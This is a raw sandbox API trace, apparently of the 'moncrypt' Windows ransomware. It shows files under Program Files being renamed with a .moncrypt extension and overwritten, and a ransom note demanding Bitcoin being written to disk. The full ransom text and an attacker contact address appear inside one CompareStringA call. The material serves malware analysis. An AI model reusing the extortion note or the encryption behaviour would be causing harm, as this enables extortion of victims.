lpMultiByteStr=0x1e6a4d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.211] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.211] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0054.211] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0054.211] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0054.212] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.212] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.212] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0054.212] GlobalLock (hMem=0x440004) returned 0x550170 [0054.212] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.212] GlobalUnlock (hMem=0x440004) returned 0 [0054.212] GlobalLock (hMem=0x440004) returned 0x550170 [0054.212] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.212] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.212] GlobalUnlock (hMem=0x440004) returned 0 [0054.212] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.212] GlobalUnlock (hMem=0x44000c) returned 0 [0054.213] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.213] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.213] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.213] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.213] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.213] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.213] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.213] GlobalUnlock (hMem=0x44000c) returned 0 [0054.213] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.213] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.213] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.213] GlobalUnlock (hMem=0x44000c) returned 0 [0054.213] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.213] GlobalUnlock (hMem=0x440004) returned 0 [0054.213] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.213] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0054.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0054.214] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.214] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.214] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.214] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.214] GlobalUnlock (hMem=0x440004) returned 0 [0054.214] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.214] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.214] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.214] GlobalUnlock (hMem=0x440004) returned 0 [0054.214] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.214] GlobalUnlock (hMem=0x44000c) returned 0 [0054.214] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.215] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.216] CloseHandle (hObject=0x18c) returned 1 [0054.216] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\я")) returned 1 [0054.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 0x54e240 [0054.217] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.217] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.217] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", dwFileAttributes=0x20) returned 1 [0054.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.moncrypt")) returned 1 [0054.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.219] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.219] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xe232 [0054.219] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.219] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.230] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.230] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.230] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.230] GlobalUnlock (hMem=0x440004) returned 0 [0054.230] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.230] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.231] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.231] GlobalUnlock (hMem=0x440004) returned 0 [0054.231] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.231] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.231] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.231] GlobalUnlock (hMem=0x44000c) returned 0 [0054.231] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.231] GlobalUnlock (hMem=0x440004) returned 0 [0054.231] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.231] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.231] GlobalUnlock (hMem=0x440004) returned 0 [0054.231] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.231] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.231] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.231] GlobalUnlock (hMem=0x440004) returned 0 [0054.231] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.232] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.232] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.232] SetFilePointer (in: hFile=0x18c, lDistanceToMove=57906, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xe232 [0054.232] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.232] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.232] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.243] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.248] CloseHandle (hObject=0x18c) returned 1 [0054.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.249] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.249] CloseHandle (hObject=0x18c) returned 1 [0054.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0054.250] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.250] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.250] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.250] GlobalUnlock (hMem=0x440004) returned 0 [0054.250] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.250] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.250] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.250] GlobalUnlock (hMem=0x440004) returned 0 [0054.250] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.250] GlobalUnlock (hMem=0x44000c) returned 0 [0054.250] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.250] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a5a0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.251] GetLastError () returned 0x2 [0054.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.253] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0054.254] CloseHandle (hObject=0x18c) returned 1 [0054.254] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0054.254] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.254] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.254] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.254] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.254] GlobalUnlock (hMem=0x44000c) returned 0 [0054.254] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.254] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.254] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.254] GlobalUnlock (hMem=0x44000c) returned 0 [0054.254] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.254] GlobalUnlock (hMem=0x440004) returned 0 [0054.254] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.255] CharLowerBuffW (in: lpsz="STRTEDGE.INF", cchLength=0xc | out: lpsz="strtedge.inf") returned 0xc [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 